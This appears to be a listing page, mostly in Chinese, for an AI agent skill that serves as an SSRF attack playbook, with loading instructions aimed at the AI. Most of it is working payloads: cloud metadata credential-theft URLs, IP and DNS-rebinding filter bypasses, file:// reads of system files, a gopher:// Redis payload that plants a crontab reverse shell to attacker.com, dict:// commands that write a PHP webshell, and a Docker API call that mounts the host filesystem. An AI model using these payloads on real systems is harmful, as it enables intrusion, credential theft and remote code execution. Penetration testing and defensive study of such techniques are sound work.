关于 ssrf-server-side-request-forgery
ssrf-server-side-request-forgery 是用于排查服务端 URL 请求伪造问题的安全测试技能。内容涵盖发现 SSRF 入口、验证盲 SSRF、绕过 URL 过滤器,以及检查云元数据和内部服务,并附有进阶场景参考。
主要功能
- 01发现 SSRF 入口
- 02盲 SSRF 确认方法
- 03URL 与 IP 过滤绕过技巧
- 04云元数据端点检查
- 05内部服务暴露测试
- 06进阶场景参考资料
适用场景
- 01测试获取 URL 的参数
- 02检查盲目出站请求
- 03评估 URL 校验防护
- 04审查内部服务暴露情况
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill ssrf-server-side-request-forgery安装后在 Claude Code 中输入/ssrf-server-side-request-forgery确认已加载。
附带文件SCENARIOS.mdURL_PARSER_TRICKS.md
详细介绍
技能:服务端请求伪造(SSRF)——专家攻击手册
AI 加载指令:专家级 SSRF 技术。涵盖 URL 过滤器绕过、云元数据端点、协议利用、盲 SSRF 检测,以及利用链串联至 RCE。基础模型了解基本的 169.254.169.254——本文件涵盖它们遗漏的内容。有关真实世界的 CVE 利用链、DNS 重绑定深度解析、K8s SSRF,以及 SSRF → Redis → RCE 的完整利用,请加载配套的 SCENARIOS.md。
0. 快速开始
扩展场景
需要以下内容时,也请加载 SCENARIOS.md:
- WebLogic SSRF(CVE-2014-4210)——
uddiexplorer/SearchPublicRegistries.jsp+operator参数 +%0D%0ACRLF 注入 Redis 命令 - SSRF → 内部 Redis → 写入 crontab 反向 Shell 的完整载荷链
- DNS 重绑定深度解析——TTL=0 技巧、首次解析为合法地址→第二次解析为内部地址、
rbndr.us服务 - 通过 DNS 重绑定利用 Kubernetes SSRF(CVE-2020-8555)及其绕过方式(CVE-2020-8562)
- 通过 PDF/截图生成器发起 SSRF——HTML 转 PDF 中的
<iframe>和<img> - Gopher 协议完整 TCP 注入——通过 Gopherus 发送 Redis、MySQL、FastCGI 载荷
- URL 解析器混淆以绕过过滤器——
#@、\@、%00@、IPv6 映射 IPv4
高级参考
需要以下内容时,也请加载 URL_PARSER_TRICKS.md:
- URL 解析器差异表:Python urllib、requests、Java URL、PHP parse_url、Node url.parse 和 Go net/url
- 完整的云元数据端点目录(AWS IMDSv1/v2、GCP、Azure、DigitalOcean、Alibaba Cloud、Oracle Cloud、Kubernetes、Hetzner、OpenStack)
- Redis、MySQL、SMTP、FastCGI、Memcached 的 gopher://载荷示例(含编码规则)
- DNS 重绑定详细攻击流程,含 TTL 操纵和 TOCTOU 分析
- PDF/wkhtmltopdf/WeasyPrint/Chrome headless/PhantomJS SSRF 模式及数据外泄技术
如果你刚发现一个会获取 URL 的参数,可直接在此进行第一轮确认。
第一轮载荷
http://127.0.0.1/
http://localhost/
http://169.254.169.254/latest/meta-data/
http://[::1]/
http://127.1/
主机验证绕过类型
| 验证类型 | 尝试 |
|---|---|
阻止 localhost 字符串 | 127.0.0.1、127.1、[::1] |
| 仅阻止直接 IP | 内部 DNS 名称、十进制/八进制/十六进制 IP 格式 |
| 按前缀允许列表 | 用户名部分、子域名混淆、重定向链 |
| 跟随重定向 | 将良性外部 URL 重定向至内部目标 |
| 解析一次、获取两次 | 混合编码或 DNS 重绑定类型的目标 |
协议路由
| 目标 | 协议 / 目标地址 |
|---|---|
| 云凭据 | 元数据 HTTP 端点 |
| 内部 HTTP 管理界面 | http://127.0.0.1:port/ |
| Redis / 原始 TCP 滥用 | gopher:// |
| 本地文件读取候选 | file:// |
| 字典 / Banner 测试 | dict:// |
1. 发现 SSRF 攻击面
查找任何包含 DNS 名称、IP 地址或 URL 的参数:
loc= url= path= endpoint=
imageUrl= dest= redirect= uri=
callback= load= file= resource=
link= src= data= ref=
不太明显的 SSRF 向量:
- PDF/截图生成(要捕获的 URL)
- Webhook 配置字段
- 通过 URL 导入/导出(CSV 导入、RSS/Atom 订阅源)
- OAuth 重定向 URI(有时会触发服务端获取)
- 代理链中的
X-Forwarded-Host/X-Real-IP请求头 - 带外部实体的 XML
DOCTYPE(file://、http://) - GraphQL
@link指令(联邦) - 解析
<link>预加载请求头的 Content-Type:text/html页面
2. 基本确认方法
Step 1: Supply your Burp Collaborator / interact.sh URL
→ Check server initiates outbound connection (full SSRF confirmed)
Step 2: If no callback → test time-based (open port = fast, closed = slow/reset):
Compare response time for:
http://192.168.1.1:22 (likely open → fast)
http://192.168.1.1:9999 (likely closed → slow/timeout)
Step 3: Try accessing localhost services:
http://127.0.0.1:8080
http://127.0.0.1:22
http://127.0.0.1:6379 (Redis)
http://127.0.0.1:9200 (Elasticsearch)
http://127.0.0.1:5984 (CouchDB)
http://127.0.0.1:2375 (Docker daemon — critical!)
http://127.0.0.1:4840 (internal admin)
3. 云元数据端点——必测
AWS EC2 IMDSv1(无需身份验证——严重)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
AWS IMDSv2(需要令牌——但要检查 SSRF 是否能 GET 令牌)
Step 1: PUT http://169.254.169.254/latest/api/token
Header: X-aws-ec2-metadata-token-ttl-seconds: 21600
Step 2: GET http://169.254.169.254/latest/meta-data/
Header: X-aws-ec2-metadata-token: TOKEN
如果 SSRF 支持自定义请求头 → 可完全绕过 IMDSv2。
Google Cloud
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Headers: Metadata-Flavor: Google
Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Headers: Metadata: true
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/
Alibaba Cloud
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/ram/security-credentials/
Kubernetes 服务账号
file:///var/run/secrets/kubernetes.io/serviceaccount/token
file:///var/run/secrets/kubernetes.io/serviceaccount/ca.crt
http://kubernetes.default.svc/api/v1/namespaces/default/secrets
4. IP 地址过滤器绕过技术
当 169.254.169.254、127.0.0.1、localhost 被阻止时:
Localhost 变体
127.0.0.1
127.1
127.0.1
127.000.000.001 ← octal padding
0x7f000001 ← hex
2130706433 ← decimal (0x7f000001)
0177.0000.0000.0001 ← octal
[::] ← IPv6 loopback
[::1] ← IPv6 loopback
[::ffff:127.0.0.1] ← IPv4-mapped IPv6
169.254.169.254 变体
169.254.169.254
2852039166 ← decimal
0xa9fea9fe ← hex
0251.0376.0251.0376 ← octal
[::ffff:169.254.169.254] ← IPv6
169.254.169.254.nip.io ← DNS rebinding service
私有网络地址范围
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
fc00::/7 ← IPv6 private
通过 DNS 输入绕过过滤器
如果过滤器检查的是 DNS 解析出的 IP(而非主机名):
http://attacker.com/ ← DNS A record points to 169.254.169.254
使用 DNS 重绑定:首次查询返回有效 IP → 通过过滤器 → 第二次请求返回内部 IP。
5. URL 协议攻击
当允许 http:// 或过滤较弱时:
file:///etc/passwd
file:///proc/self/environ
file:///proc/net/arp ← reveals internal network ARP table
file:///proc/net/tcp ← open network connections
dict://127.0.0.1:6379/INFO ← Redis INFO command via dict://
gopher://127.0.0.1:6379/_INFO%0d%0a ← Redis via gopher
gopher://127.0.0.1:9200/ ← Elasticsearch
sftp://attacker.com:11111/ ← triggers SFTP connection (credential hash)
ldap://attacker.com:389/ ← triggers LDAP bind
ftp://attacker.com/ ← triggers FTP connection
Redis Gopher SSRF(有触发完整 RCE 的可能)
gopher://127.0.0.1:6379/_%2A1%0D%0A%244%0D%0Aping%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2456%0D%0A%0D%0A%0A%0A*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1%0A%0A%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
6. 盲 SSRF 检测
当响应中不会反映获取的内容时:
- Burp Collaborator / interact.sh:检查服务器是否发出了 DNS 和 HTTP 请求
- Pingback/webhook 滥用:将应用自身的 webhook 配置为你的 URL
- 时间分析:内部开放端口与关闭端口的响应时间差异
- 错误分析:针对“找不到主机”“连接被拒绝”和“超时”的不同错误消息,可揭示内部网络拓扑
7. 内部服务利用
Docker API(2375 未经身份验证)
http://127.0.0.1:2375/v1.24/containers/json ← list containers
http://127.0.0.1:2375/v1.24/images/json ← list images
# Create privileged container → escape to host:
POST http://127.0.0.1:2375/v1.24/containers/create
{"Image":"alpine","Cmd":["cat","/etc/shadow"],"HostConfig":{"Binds":["/:/host"]}}
Elasticsearch(9200 默认无身份验证)
http://127.0.0.1:9200/_cat/indices
http://127.0.0.1:9200/.kibana/_search
http://127.0.0.1:9200/INDEX_NAME/_search?q=*
Redis(6379——通常无身份验证)
dict://127.0.0.1:6379/CONFIG:SET:dir:/var/www/html
dict://127.0.0.1:6379/CONFIG:SET:dbfilename:shell.php
dict://127.0.0.1:6379/SET:key:<?php system($_GET[c]);?>
dict://127.0.0.1:6379/BGSAVE
内部管理面板
http://127.0.0.1:8080/admin
http://127.0.0.1:8443/admin
http://127.0.0.1:9000/actuator ← Spring Boot actuator (exposed endpoints)
http://127.0.0.1:9000/actuator/env
http://127.0.0.1:9000/actuator/heapdump
8. SSRF + 过滤器绕过决策树
SSRF parameter found?
├── Try http://169.254.169.254/ directly → blocked?
│ ├── Try decimal/hex/octal variants
│ ├── Try IPv6 variants [::ffff:169.254.169.254]
│ ├── Try DNS rebinding (nip.io, custom NS)
│ └── Try redirect: attacker.com → 169.254.169.254 (302)
│
├── Try http://127.0.0.1/ → blocked?
│ ├── Try 127.1 / 127.0.1 / 0x7f000001 / 2130706433
│ ├── Try localhost → might not be blocked
│ └── Try IPv6 [::1]
│
├── What protocols are allowed?
│ ├── dict:// → test Redis, Memcached
│ ├── gopher:// → full TCP data injection (target Redis/SMTP)
│ ├── file:// → local file read
│ └── sftp:// ldap:// ftp:// → network interactions
│
└── Blind SSRF → use Burp Collaborator
└── DNS-only → use DNS rebinding or SSRF with OOB DNS
9. SSRF 过滤器的思路
根据 zseano 的方法论:如果开发者只直接过滤 169.254.169.254,却不过滤 http://169.254.169.254/latest/meta-data(完整路径),或忽略了:
- IPv6 等效地址
- 解析到内部 IP 的 DNS 名称
- 重定向链(服务器会跟随 302 跳转到内部 IP)
经典漏洞:应用过滤 127.0.0.1,但不过滤 127.1、[::1] 或 localhost。
通过 XML 实现的应用层 SSRF(应用解析 XML 时):
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<request>&xxe;</request>